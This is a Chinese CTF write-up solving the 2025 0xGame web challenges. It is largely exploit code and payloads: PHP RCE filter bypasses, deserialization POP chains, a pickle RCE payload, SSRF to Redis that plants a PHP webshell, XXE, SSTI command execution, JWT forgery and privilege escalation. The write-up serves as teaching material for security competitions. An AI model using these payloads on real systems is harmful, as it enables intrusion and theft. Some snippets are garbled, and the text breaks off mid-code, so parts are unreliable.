2025-0xgame-web全解

week1

RCE1

考点:或运算构造system

<?php error_reporting(0); highlight_file(__FILE__); $rce1 = $_GET['rce1']; $rce2 = $_POST['rce2']; $real_code = $_POST['rce3']; $pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i'; function check(string $text): bool { global $pattern; return (bool) preg_match($pattern, $text); } if (isset($rce1) && isset($rce2)){ if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){ if(!check($real_code)){ eval($real_code); } else { echo "Don't hack me ~"; } } else { echo "md5 do not match correctly"; } } else{ echo "Please provide both rce1 and rce2"; } ?>
print_r(scandir('/')); //查根目录文件
(systee|systel)('tac /f???'); //直接一或运算将system构造出来,或者这里没过滤反引号,直接print(`tac /f???`);也行,或者readfile('/'.'fl'.'ag');

Lemon

ctrl+U直接拿flag

Http的真理,我已解明

八股文,注意最后这个要求clash代理,用请求头Via: clash

Rubbish_Unser

考点:hash触发Exception中__toString魔术绕过hash

<?php error_reporting(0); highlight_file(__FILE__); class ZZZ { public $yuzuha; function __construct($yuzuha) { $this -> yuzuha = $yuzuha; } function __destruct() { echo "破绽,在这里!" . $this -> yuzuha; } } class HSR { public $robin; function __get($robin) { $castorice = $this -> robin; eval($castorice); } } class HI3rd { public $RaidenMei; public $kiana; public $guanxing; function __invoke() { if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei)) return $this -> guanxing -> Elysia; } } class GI { public $furina; function __call($arg1, $arg2) { $Charlotte = $this -> furina; return $Charlotte(); } } class Mi { public $game; function __toString() { $game1 = @$this -> game -> tks(); return $game1; } } if (isset($_GET['0xGame'])) { $web = unserialize($_GET['0xGame']); throw new Exception("Rubbish_Unser"); } ?> 

很简单链子,垃圾回收去掉最后一个}去绕过,hash用Exception绕过

<?php error_reporting(0); class ZZZ { public $yuzuha; function __construct($yuzuha) { $this -> yuzuha = $yuzuha; } function __destruct() { echo "破绽,在这里!" . $this -> yuzuha; } } class HSR { public $robin="system('env');"; function __get($robin) { echo "4"; $castorice = $this -> robin; eval($castorice); } } class HI3rd { public $RaidenMei; public $kiana; public $guanxing; function __invoke() { echo "3"; if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei)) return $this -> guanxing -> Elysia; } } class GI { public $furina; function __call($arg1, $arg2) { echo "2"; $Charlotte = $this -> furina; return $Charlotte(); } } class Mi { public $game; function __toString() { echo "1"; $game1 = @$this -> game -> tks(); return $game1; } } $a=new ZZZ(1); $a-> yuzuha=new Mi(); $a-> yuzuha->game=new GI(); $a-> yuzuha->game->furina=new HI3rd(); $a-> yuzuha->game->furina->kiana=new Exception("",1);$a-> yuzuha->game->furina->RaidenMei=new Exception("",2); $a-> yuzuha->game->furina->guanxing=new HSR(); echo urlencode(serialize($a)); ?>

Lemon_RevEnge

考点:污染os.path.pardir进行目录穿越

from flask import Flask,request,render_template import json import os app = Flask(__name__) def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class Dst(): def __init__(self): pass Game0x = Dst() @app.route('/',methods=['POST', 'GET']) def index(): if request.data: merge(json.loads(request.data), Game0x) return render_template("index.html", Game0x=Game0x) @app.route("/<path:path>") def render_page(path): if not os.path.exists("templates/" + path): return "Not Found", 404 return render_template(path) if __name__ == '__main__': app.run(host='0.0.0.0', port=9000) 
{ "__init__":{ "__globals__":{ "os":{ "path":{ "pardir":"!" } } } } }

Python原型链污染 – Jaren's Blog

浅谈Python原型链污染及利用方式-先知社区

留言板(粉)

admin/admin123登入,发现网页名字提示是打xxe

<!DOCTYPE evil [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>&xxe;</password></user> 

留言板_reVenge

很懵逼,都是直接无过滤无回显xxe打完了

week2

你好,爪洼脚本

考aaEncode加密

aaEncode加密解密工具

0xGame{Hello,JavaScript}

马哈鱼商店

考点:pickle反序列化(文本协议)

买flag是假的,买pickle,将折扣改成0.0001就行

Use GET To Send Your Loved Data!!! BlackList = [b'', b''] @app.route('/pickle_dsa') def pic(): data = request.args.get('data') if not data: return "Use GET To Send Your Loved Data" try: data = base64.b64decode(data) except Exception: return "Cao!!!" for b in BlackList: if b in data: return "卡了" p = pickle.loads(data) print(p) return f" Vamos! {p}

打pickle反序列化

import pickle import base64 import os class P(object): def __reduce__(self): return (eval, ("__import__('os').popen('env').read()",)) payload = pickle.dumps(P(), protocol=0) b64_payload = base64.b64encode(payload) print(payload) print(b64_payload.decode())

注意这要用protocol=0(文本协议),b'' 是单个字节 0x1E(ASCII Record Separator)。它想拦包含该字节的数据。Pickle 的二进制协议很容易出现各种非可打印字节(包括 0x1E),而文本协议(protocol=0)通常不会包含 0x1E,所以用 protocol=0 构造 payload,避免 0x1E。

wp的方法倒是有点意思

import base64'csubprocess check_output (S'env' tR.'''.encode() print(base64.b64encode(opcode).decode())

DNS想要玩

考点:进制绕过黑名单进行dns解析(dns重绑定)

题目给了源码

from flask import Flask, request from urllib.parse import urlparse import socket import os app = Flask(__name__) BlackList = [ 'localhost', '@', '172', 'gopher', 'file', 'dict', 'tcp', '0.0.0.0', '114.5.1.4' ] def check(url: str) -> bool: parsed = urlparse(url) host = parsed.hostname if not host: return False host_ascii = host.encode('idna').decode('utf-8') try: ip = socket.gethostbyname(host_ascii) except Exception: return False return ip == '114.5.1.4' @app.route('/') def index(): return open(__file__, 'r', encoding='utf-8').read() @app.route('/ssrf') def ssrf(): raw_url = request.args.get('url') if not raw_url: return 'URL Needed' for u in BlackList: if u in raw_url: return 'Invaild URL' if check(raw_url): cmd = request.args.get('cmd', '') return os.popen(cmd).read() else: return 'NONONO' if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)
ssrf?url=http://1912930564/&cmd=cat%20/f*

很多办法,用进制绕过就行,我这里用10进制绕过

ctfshow-web-351-360-ssrf-wp_ctfshow web360-ZEEKLOG博客

预期解是考dns重绑定

浅谈DNS重绑定漏洞 - 知乎

https://lock.cmpxchg8b.com/rebinder.html

这真的是反序列化

考点:利用SoapClient触发__call用ssrf来打Redis

<?php highlight_file(__FILE__); error_reporting(0); //hint: Redis20251206 class pure{ public $web; public $misc; public $crypto; public $pwn; public function __construct($web, $misc, $crypto, $pwn){ $this->web = $web; $this->misc = $misc; $this->crypto = $crypto; $this->pwn = $pwn; } public function reverse(){ $this->pwn = new $this->web($this->misc, $this->crypto); } public function osint(){ $this->pwn->play_0xGame(); } public function __destruct(){ $this->reverse(); $this->osint(); } } $AI = $_GET['ai']; $ctf = unserialize($AI); ?>

根据wp的代码是

<?php class pure { public $web; public $misc; public $crypto; public $pwn; } // 创建对象实例 $a = new pure(); $a->web = 'SoapClient'; $a->misc = null; $a->pwn = null; // 配置目标地址和Redis命令 $target = 'http://127.0.0.1:6379/'; $poc = "AUTH 20251206\r\n" . "CONFIG SET dir /var/www/html/\r\n" . "CONFIG SET dbfilename shell.php\r\n" . "SET x '<?= @eval(\$_POST[1]) ?>'\r\n" . "SAVE"; // 构造crypto数组(攻击载荷的核心) $a->crypto = array( 'location' => $target, 'uri' => "hello\"\r\n" . $poc . "\r\nhello" ); // 输出URL编码后的序列化字符串 echo serialize($a);

比赛时我参考的是

[【Web】DASCTF X GFCTF 2022十月挑战赛题解_dasctf x gfctf 2022十月挑战赛!]blogsystem-ZEEKLOG博客

但是改完后就是打不了,后面对比wp才知道第一个hello后面少一个双引号,难绷

<?php $target = 'http://127.0.0.1:6379/'; $poc1 = "AUTH 20251206"; $poc2 = "CONFIG SET dir /var/www/html/"; $poc3 = "CONFIG SET dbfilename shel.php"; $poc4 = "SET x '<?= @eval(\$_POST[1]) ?>'"; $poc5 = "SAVE"; $a = array('location' => $target, 'uri' => 'hello"^^' . $poc1 . '^^' . $poc2 . '^^' . $poc3 . '^^' . $poc4 . '^^' . $poc5 . '^^hello'); $b = serialize($a); $b = str_replace('^^', "\r\n", $b); $c = unserialize($b); class pure { public $web = 'SoapClient'; public $misc = null; public $crypto; public $pwn; } $a=new pure(); $a->crypto=$c; echo urlencode(serialize($a));

soap导致的SSRF-先知社区

404NotFound

测试一下ssti

过滤了一些关键词和点

{{lipsum['__glo''bals__']['o''s']['po''pen']('cat /f*')['re''ad']()}}

Plus_plus

考点:限制字符的自增rce

输入?0xGame=1得到源码

<?php error_reporting(0); if (isset($_GET['0xGame'])) { highlight_file(__FILE__); } if (isset($_POST['web'])) { $web = $_POST['web']; if (strlen($web) <= 120) { if (is_string($web)) { if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-BD-GI-Z~\\\\]/", $web)) { eval($web); } else { echo("NONONO!"); } } else { echo "No String!"; } } else { echo "too long!"; } } ?>
$_=[]._;//Array $__=$_[1];//r $_=$_[0];//A $_++;//B $_1=++$_;//$_1=C,$_=D(这里是前缀++,即先自增一再赋值) $_++;$_++;$_++;$_++;//$_=H $_=$_1.++$_.$__;//CHr $_=_.$_(71).$_(69).$_(84);//_GET $$_[1]($$_[2]); //$_GET[1]$_GET[2]

需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样

get 0xGame=1&1=system&2=cat /f* post web=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B%20

nss-round28-web

我只想要你的PNG!

考点:文件名注入

只能上传png,但是源码提示有个check.php,上传文件发现文件上传后被删除,但是原文件名出现在check.php里,那就是打文件名注入,先尝试一下

果然可以执行命令

然后直接写马连

week3

消栈逃出沙箱(1)反正不会有2

解法:Typhon梭哈沙箱逃逸

from flask import Flask, request, Response import sys import io app = Flask(__name__) blackchar = "&*^%#${}@!~`·/<>" def safe_sandbox_Exec(code): whitelist = { "print": print, "list": list, "len": len, "Exception": Exception, } safe_globals = {"__builtins__": whitelist} original_stdout = sys.stdout original_stderr = sys.stderr sys.stdout = io.StringIO() sys.stderr = io.StringIO() try: exec(code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() return output or error or "No output" except Exception as e: return f"Error: {e}" finally: sys.stdout = original_stdout sys.stderr = original_stderr @app.route("/") def index(): return open(__file__).read() @app.route("/check", methods=["POST"]) def check(): data = request.form.get("data", "") if not data: return Response("NO data", status=400) for d in blackchar: if d in data: return Response("NONONO", status=400) secret = safe_sandbox_Exec(data) return Response(secret, status=200) if __name__ == "__main__": app.run(host="0.0.0.0", port=9000)

Typhon梭哈

import Typhon cmd = "ls /" # Typhon 会把它转为可执行的 Python payload Typhon.bypassRCE( cmd, local_scope={'__builtins__': {'print':print,'list':list,'len':len,'Exception':Exception}}, banned_chr=list("&*^%#${}@!~`·/<>"), max_length=160, interactive=False, print_all_payload=True, # 想看所有候选就开 log_level='INFO' )

稍微改一下,首先要结果要+read(),然后要print打印出来

print(list.__class__.__subclasses__(list.__class__)[0].register.__globals__['__builtins__']['__import__']('os').popen('env').read())

解法二:python栈帧沙箱逃逸+traceback

使用Exception引发异常,并捕获异常对象,异常对象中,有一个__traceback__属性,它指向相关的回溯对象。从回溯对象中,我们可以获取栈帧。然后,从回溯对象中,我们可以访问tb_frame来获取当前栈帧,然后 __traceback__.tb_frame.f_back.f_back 获取外层函数safe_sandbox_Exec栈帧,利用栈帧的 f_globals 获取原始环境中的 __builtins__,然后执行命令

import requests' try: raise Exception() except Exception as e: frame = e.__traceback__.tb_frame.f_back.f_back builtins = frame.f_globals['__builtins__'] output = builtins.__import__('os').popen('env').read() print(output) ''' url = "http://9000-e2e3ae94-819b-4f4f-b420-e85c8d221c24.challenge.ctfplus.cn/check" res = requests.post(url, data={"data": payload}) print(res.text)

Python利用栈帧沙箱逃逸-先知社区

python栈帧沙箱逃逸 - Zer0peach can't think

文件查询器(蓝)

考点:file_get_contents触发phar反序列化

发现文件上传和查询文件功能,查/etc/passwd有回显,有文件包含,直接读源码index.php

<?php error_reporting(0); class MaHaYu{ public $HG2; public $ToT; public $FM2tM; public function __construct() { $this -> ZombiegalKawaii(); } public function ZombiegalKawaii() { $HG2 = $this -> HG2; if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2)) { die("这这这你也该绕过去了吧"); } else{ $this -> ToT = "这其实是来自各位的"; } } public function __destruct() { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow"; var_dump($HG2($FM2tM)); } } z $file=$_POST['file']; if(isset($_POST['file'])) { if (preg_match("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i", $file)) { die("对方撤回了一个请求,并企图蒙混过关"); } echo base64_encode(file_get_contents($file)); }

一眼就知道是file_get_contents触发phar反序列化,gz压一下,改一下文件名分别绕过内容waf和文件名waf

<?php error_reporting(0); class MaHaYu{ public $HG2; public $ToT; public $FM2tM; public function __construct() { $this -> ZombiegalKawaii(); } public function ZombiegalKawaii() { $HG2 = $this -> HG2; if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2)) { die("这这这你也该绕过去了吧"); } else{ $this -> ToT = "这其实是来自各位的"; } } public function __destruct() { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow"; var_dump($HG2($FM2tM)); } } $a = new MaHaYu(); $a -> HG2 = "getenv"; $a->FM2tM="FLAG"; //本来用glob发现根目录无flag,直接看环境就好了 $phar = new Phar("2.phar"); //.phar文件 $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的 $phar->setMetadata($a); $phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件 $phar->stopBuffering(); $fp = gzopen("2.phar.gz", 'w9'); gzwrite($fp, file_get_contents("2.phar")); gzclose($fp); // 将 2.phar.gz 重命名为 2.phar.png @rename("2.phar.gz", "1.phar.png"); ?>

然后打phar协议就好了

phar://upload/1.phar.png

长夜月

const fs = require('fs'); const express = require('express'); //const session = require('express-session'); const bodyParser = require('body-parser'); const jwt = require('jsonwebtoken'); const crypto = require("crypto"); const cookieParser = require('cookie-parser'); const DEFAULT_CONFIG = { name: "EverNight", default_path: "The Remembrance", place: "Amphoreus", min_public_time: "2025-08-03" }; const CONFIG = { name: "EverNight", default_path: "The Remembrance", place: "Amphoreus" } const users = new Map(); const FLAG = process.env.FLAG || 'oXgAmE{Just_A_Flag}' const JWT_SECRET = crypto.randomBytes(32).toString('hex'); const app = express(); app.set('view engine', 'ejs'); app.use(express.static('public')); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: false })); app.use(cookieParser()); if (!fs.existsSync('[email protected]')) { fs.writeFileSync('[email protected]', crypto.randomBytes(16).toString('hex').trim()); } users.set('admin', fs.readFileSync('[email protected]').toString()) // function requireLogin(req, res, next) { // const token = req.cookies.token || req.headers.authorization?.split(' ')[1]; // if (!token) { // return res.redirect('/login', ); // } // } function merge(dst, src) { if (typeof dst !== "object" || typeof src !== "object") return dst; for (let key in src) { if (key in src && key in dst) { merge(dst[key], src[key]); } else { dst[key] = src[key]; } } } function generateJWT(username, password) { return jwt.sign({ username, password }, JWT_SECRET, { expiresIn: '10h' }); } function Check(token){ if(!token){ res.redirect('/login'); } const data = jwt.decode(token); //没鉴权 if(data.username === "admin"){ return true; } else{ return false; } } function Admin_Check(req, res, next){ const token = req.cookies.token || req.headers.authorization?.split(' ')[1]; if(!token){ return res.redirect('/login', {message: "Need Login!"}); } try{ const data = jwt.decode(token); //没鉴权 if(data.username === 'admin'){ return next(); } else{ return res.redirect('/trailblazer'); } } catch (err){ return res.redirect('/login'); } } app.get('/', (req, res) => { res.render('index'); }) app.get('/login', (req, res) => { res.render('login'); }) app.get('/register', (req, res) => { res.render('register', { message: '' }); }); app.get('/logout', (req, res) => { res.clearCookie('token'); res.redirect('/login'); }); app.post('/login', (req, res) => { let username = req.body.username; let password = req.body.password; let token = req.cookies.token || req.headers.authorization?.split(' ')[1]; if (!users.has(username)) { return res.render('login', { message: 'Invalid username or password.' }); } if (users.get(username) !== password) { return res.render('login', { message: 'Invalid username or password.' }); } if(Check(token)){ res.redirect('/admin_club1st'); } else{ res.redirect('/trailblazer'); } }); app.post('/register', (req, res) => { let username = req.body.username; let password = req.body.password; if (users.has(username)) { return res.render('register', { message: 'Username already exists.' }); } users.set(username, password); const data = generateJWT(username, password); res.cookie('token', data, {httpOnly: false}); res.redirect('/login'); }); app.get('/admin_club1st', Admin_Check, (req, res) => { return res.render('admin'); }) app.post('/admin_club1st', Admin_Check, (req, res) => { let body = req.body; let evernight = Object.create(CONFIG); let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time; merge(evernight, body); let en = Object.create(CONFIG); if (en.min_public_time < "2025-08-03") { return res.render('march7th', {message: FLAG}); } return res.render('evernight'); }); app.get('/trailblazer', (req, res) => { return res.render('trailblazer', {message: "Failed Amphoreus"}) }) app.listen(80, () => { console.log('Server is running on port 80'); })

这个代码很明显,先token伪造然后再原型链污染时间就行,先说token伪造,它这个注册的时候用密钥生成的,但是登入时解token没有鉴权,所以直接伪造admin就行

import jwt import datetime import time # 定义标头(Headers) headers = {"alg":"HS256","typ":"JWT"} # 定义有效载体(Payload) token_dict = { "username":"admin", "password":"user", "iat":time.time(), "exp":time.time() + 36000} # 密钥 jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers) print("JWT Token:", jwt_token)

然后将min_public_time污染成8月3号前就行

{"__proto__": { "min_public_time": "2025-08-01" }} 

放开我的变量

考点:cp通配符提权

一扫发现一个后门/asdback.php,直接蚁剑连

<?php highlight_file(__FILE__); echo("Please Input Your CMD"); $cmd = $_POST['__0xGame2025phpPsAux']; eval($cmd); ?> 

但是拿不了flag,提权也不行,一看start.sh,湾区杯和N1写过,打cp通配符提权

2025 N1CTF Junior Web 方向全解 | J1rrY's Blog

cd /var/www/html/primary/ echo "">"-H" ln -s /flag ff cd ../marstream cat f

这真的是文件上传

考点:js审计之ejs渲染

//original-author: gtg2619 //adapt: P const express = require('express'); const ejs = require('ejs'); const fs = require('fs'); const path = require('path'); const app = express(); app.set('view engine', 'ejs'); app.use(express.json({ limit: '114514mb' })); const STATIC_DIR = __dirname; function serveIndex(req, res) { // Useless Check , So It's Easier var whilePath = ['index']; var templ = req.query.templ || 'index'; if (!whilePath.includes(templ)){ return res.status(403).send('Denied Templ'); } var lsPath = path.join(__dirname, req.path); try { res.render(templ, { filenames: fs.readdirSync(lsPath), path: req.path }); } catch (e) { res.status(500).send('Error'); } } app.use((req, res, next) => { if (typeof req.path !== 'string' || (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null) ) res.status(500).send('Error'); else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename'); else next(); }) app.use((req, res, next) => { if (req.path.endsWith('/')) serveIndex(req, res); else next(); }) app.put('/*', (req, res) => { // Why Filepath Not Check ? const filePath = path.join(STATIC_DIR, req.path); fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => { if (err) { return res.status(500).send('Error'); } res.status(201).send('Success'); }); }); app.listen(80, () => { console.log(`running on port 80`); }); 
<%- global.process.mainModule.require('child_process').execSync('env') %> {"content":"PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdlbnYnKQ0KJT4="}

New_Python!

考点:uuid8加密

随便注册一个账户登入,得到

from Crypto.Util.number import getPrime, bytes_to_long from gmpy2 import invert import random import uuid # 通过RSA得到UUID8的a # 再通过其他方式获取到b和c # 利用UUID8生成Admin密码 msg= b'' BITS = 1024 e = 65537 p = getPrime(BITS//2) q = getPrime(BITS//2) n = p * q phi = (p - 1) * (q - 1) d = int(invert(e, phi)) key = bytes_to_long(msg) c = pow(key, e, n) dp = d % (p - 1) #print("n = ", n) #print("e = ", e) #print("c = ", c) #print("dp = ", dp) #{}内的 key = key.encode() key = int.from_bytes(key, 'big') pa = uuid.uuid8(a=key) #n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669 #e = 65537 #c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719 #dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523

先rsa解密得到a

import math import random import re # Given RSA parameters and leak n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669 e = 65537 c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719 dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523 def recover_p_from_dp(n: int, e: int, dp: int, max_trials: int = 256) -> int: """Recover a prime factor p of n from e and dp (where dp = d mod (p-1)). Strategy: Let k = e*dp - 1, which is a multiple of (p-1). Use a Miller-style splitting approach: factor out powers of two and try gcd(pow(g, k', n) - 1, n) during repeated squaring. """ k = e * dp - 1 # Remove factors of 2 from k r = 0 t = k while t % 2 == 0: t //= 2 r += 1 for _ in range(max_trials): g = random.randrange(2, n - 2) x = pow(g, t, n) if x == 1 or x == n - 1: continue for _ in range(r + 1): p = math.gcd(x - 1, n) if 1 < p < n: return p x = pow(x, 2, n) if x == 1: break # Fallback: direct attempt with k for _ in range(max_trials): g = random.randrange(2, n - 2) x = pow(g, k, n) p = math.gcd(x - 1, n) if 1 < p < n: return p raise ValueError("Failed to recover prime factor with dp leak") def modinv(a: int, m: int) -> int: return pow(a, -1, m) def int_to_bytes(i: int) -> bytes: if i == 0: return b"\x00" length = (i.bit_length() + 7) // 8 return i.to_bytes(length, 'big') def padding(input_string: str) -> int: byte_string = input_string.encode('utf-8') if len(byte_string) > 6: byte_string = byte_string[:6] padded_byte_string = byte_string.ljust(6, b'\x00') padded_int = int.from_bytes(padded_byte_string, byteorder='big') return padded_int def extract_braced_value(text: str) -> str | None: match = re.search(r"\{([^}]*)\}", text) return match.group(1) if match else None def main(): # Recover p from dp p = recover_p_from_dp(n, e, dp) q = n // p assert p * q == n phi = (p - 1) * (q - 1) d = modinv(e, phi) m = pow(c, d, n) m_bytes = int_to_bytes(m) decoded = m_bytes.decode('utf-8', errors='ignore') inner = extract_braced_value(decoded) if inner is None: # Fallback: treat entire m as integer 'a' a_full = m else: a_full = int.from_bytes(inner.encode('utf-8'), 'big') a_48 = a_full & ((1 << 48) - 1) print("p=", p) print("q=", q) print("m_bytes=", decoded) print("a_full=", a_full) print("a_48=", a_48) if __name__ == "__main__": main() 
a=109343314834543 

响应头看到b=120604030108

目录扫描得到auth,得到c=7430469441

直接uuid8加密即可

import uuid def uuid8_from_chunks(a: int, b: int, c: int) -> uuid.UUID: a48 = a & ((1 << 48) - 1) b12 = b & ((1 << 12) - 1) c62 = c & ((1 << 62) - 1) int_uuid = (a48 << 80) | (b12 << 64) | c62 int_uuid |= (0x8 << 76) # version 8 int_uuid |= (0x2 << 62) # RFC 4122 variant return uuid.UUID(int=int_uuid) def main() -> None: a = 109343314834543 b = 120604030108 c = 7430469441 u = uuid8_from_chunks(a, b, c) print(u) if __name__ == "__main__": main() 

admin/63727970-746f-849c-8000-0001bae3f741登入,执行env即可

week4

SpringShiro

拿到附件,知道用户密码是admin/123456,登进去什么也没有,登入抓包结合题目应该是shiro反序列化

目录扫描没发现啥东西,但是密钥一般都在/actuator/heapdump,访问得到,然后用工具解密

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

得到qebXusiEQHNsQq+TDqfsFQ==

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

然后爆破利用链执行命令就行(吐槽题目环境有点问题)

绳网委托Bottle版

考点:abort无回显

flask框架,尝试发现过滤了{}<>,那肯定打bottle的pyhton代码执行,就打abort吧,刚好GHCTF打过

GHCTF-web-wp_just join #angstromctf on freenode and the fla-ZEEKLOG博客

SimpleTemplate 模板引擎 — Bottle 0.13-dev 文档

由于过滤了<>,用引号包裹绕过语法检测

''' % from bottle import abort % a=__import__('os').popen("ls /").read() % abort(404,a) % end '''

wp的方法其实就是文档中讲的另一种形式,也学习一下,其实也差不多

<div> % if __import__('bottle').abort(404,__import__('os').popen("cat /flag").read()): <span>content</span> % end </div> 

看看源码

from bottle import Bottle, request, template, run, static_file from datetime import datetime app = Bottle() messages = [] def Comment(message):.join([f""" <div> <img src="/static/avatar2.jpg" alt="Avatar"> <div> <p>{item['text']}</p> <small>#{idx + 1} · {item['time']}</small> </div> </div> """ for idx, item in enumerate(message)]) board = f"""//前端代码 """ return board def check(message): filtered = message.replace("{", " ").replace("}", " ").replace("eval", "?").replace("system", "~").replace("exec","?").replace("7*7","我猜你想输入7*7").replace("<","尖括号").replace(">","尖括号") return filtered @app.route('/') def index(): return template(Comment(messages)) @app.route('/comment', method='POST') def submit(): text = check(request.forms.get('message')) now = datetime.now().strftime("%Y-%m-%d %H:%M") messages.append({"text": text, "time": now}) return template(Comment(messages)) @app.route('/static/<filename:path>') def send_static(filename): return static_file(filename, root='./static') if __name__ == '__main__': run(app, host='0.0.0.0', port=9000)

跨站脚本攻击叫CSS还是XSS

考点:用CSS 注⼊实现 XS Leak

这题就是下面app.js与bot.js有用

// 导入 Node.js 内置模块 const fs = require('fs'); // 文件系统模块,用于读写文件 const crypto = require('crypto'); // 加密模块,用于生成随机数和加密操作 // 导入第三方模块 const express = require('express'); // Express Web框架 const session = require('express-session') // Express会话管理中间件 const bodyParser = require('body-parser'); // 请求体解析中间件 const createDOMPurify = require('dompurify'); // DOMPurify库,用于清理HTML内容防止XSS攻击 const { JSDOM } = require('jsdom'); // jsdom库,用于在Node.js中模拟DOM环境 // 创建JSDOM窗口对象,用于DOMPurify在Node.js环境中运行 const window = new JSDOM('').window; // 创建DOMPurify实例,用于清理用户输入的HTML内容 const DOMPurify = createDOMPurify(window); // 创建Express应用实例 const app = express(); // 设置视图引擎为EJS模板引擎 app.set('view engine', 'ejs'); // 使用body-parser中间件解析URL编码的表单数据 app.use(bodyParser.urlencoded({ extended: false })); // 配置会话管理中间件 app.use(session({ secret: crypto.randomBytes(64).toString('hex'), // 会话密钥,每次重启都会变化(随机生成64字节的十六进制字符串) resave: false, // 不强制保存会话,即使未被修改 saveUninitialized: true // 保存未初始化的会话(新会话) })) // 使用Map数据结构存储用户信息(用户名 -> 密码) const users = new Map(); // 使用Map数据结构存储笔记内容(笔记ID -> 笔记内容) const notes = new Map(); // 从环境变量读取FLAG,如果不存在则使用默认测试值 const FLAG = process.env.FLAG || '0xGame{Test_For_Fun}'; // 如果passwd.txt文件不存在,则创建一个新文件并写入随机密码 if (!fs.existsSync('passwd.txt')) { // 生成16字节的随机数据并转换为十六进制字符串作为admin密码 fs.writeFileSync('passwd.txt', crypto.randomBytes(16).toString('hex')); } // 从passwd.txt文件读取admin账户的密码并存储到users Map中 users.set('admin', fs.readFileSync('passwd.txt').toString()); // 从bot.js模块导入visit函数,用于自动化访问URL(用于XSS挑战) const { visit } = require('./bot'); // 中间件函数:检查用户是否已登录 // 如果未登录则重定向到登录页面,否则继续执行下一个中间件 function requireLogin(req, res, next) { if (!req.session.user) { // 检查会话中是否存在用户信息 res.redirect('/login'); // 未登录,重定向到登录页面 } else { next(); // 已登录,继续执行下一个中间件或路由处理函数 } } // GET路由:显示登录页面 app.get('/login', (req, res) => { res.render('login'); // 渲染login.ejs模板 }) // GET路由:显示注册页面 app.get('/register', (req, res) => { res.render('register'); // 渲染register.ejs模板 }) // POST路由:处理用户登录请求 app.post('/login', (req, res) => { let username = req.body.username; // 从请求体中获取用户名 let password = req.body.password; // 从请求体中获取密码 // 验证用户名是否存在且密码是否正确 if (users.has(username) && users.get(username) === password) { req.session.user = username; // 登录成功,将用户名存储到会话中 res.redirect('/'); // 重定向到首页 } else { // 登录失败,重新渲染登录页面并显示错误消息 res.render('login', { message: 'Invalid username or password.' }); } }) // POST路由:处理用户注册请求 app.post('/register', (req, res) => { let username = req.body.username; // 从请求体中获取用户名 let password = req.body.password; // 从请求体中获取密码 // 检查用户名是否已存在 if (users.has(username)) { // 用户名已存在,重新渲染注册页面并显示错误消息 res.render('register', { message: 'Username already exists.' }); } else { // 用户名不存在,将新用户添加到users Map中(注意:密码以明文存储,存在安全风险) users.set(username, password); res.redirect('/login'); // 注册成功,重定向到登录页面 } }) // GET路由:显示首页(需要登录) app.get('/', requireLogin, (req, res) => { res.render('index'); // 渲染index.ejs模板 }) // GET路由:处理用户登出请求(需要登录) app.get('/logout', requireLogin, (req, res) => { req.session.destroy(); // 